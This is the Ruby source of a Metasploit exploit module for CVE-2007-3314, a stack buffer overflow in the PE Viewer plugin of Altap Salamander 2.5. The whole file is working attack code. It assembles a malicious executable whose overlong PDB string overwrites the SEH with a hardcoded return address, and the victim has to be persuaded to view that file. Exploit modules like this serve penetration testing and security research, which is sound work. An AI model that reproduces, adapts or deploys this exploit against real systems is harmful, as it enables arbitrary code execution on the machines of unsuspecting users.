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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Altap Salamander <= v2.5.
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          By creating a malicious file and convincing a user to view the file with
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          the Portable Executable Viewer plugin within a vulnerable version of
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          Salamander, the PDB file string is copied onto the stack and the
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          SEH can be overwritten.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'aushack' ],
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        'References' => [
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          [ 'CVE', '2007-3314' ],
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          [ 'BID', '24557' ],
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          [ 'OSVDB', '37579' ],
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          [ 'URL', 'http://vuln.sg/salamander25-en.html' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2007-06-19',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe'])
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      ]
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    )
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  end
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  def exploit
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    seh = generate_seh_payload(target.ret)
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    # load the static pdb file beginning
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    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")
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    fd = File.open(path, "rb")
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    sploit = fd.read(fd.stat.size)
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    fd.close
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    sploit << rand_text_alphanumeric(1098) + seh
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    sploit << ".pdb"
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(sploit)
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  end
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end
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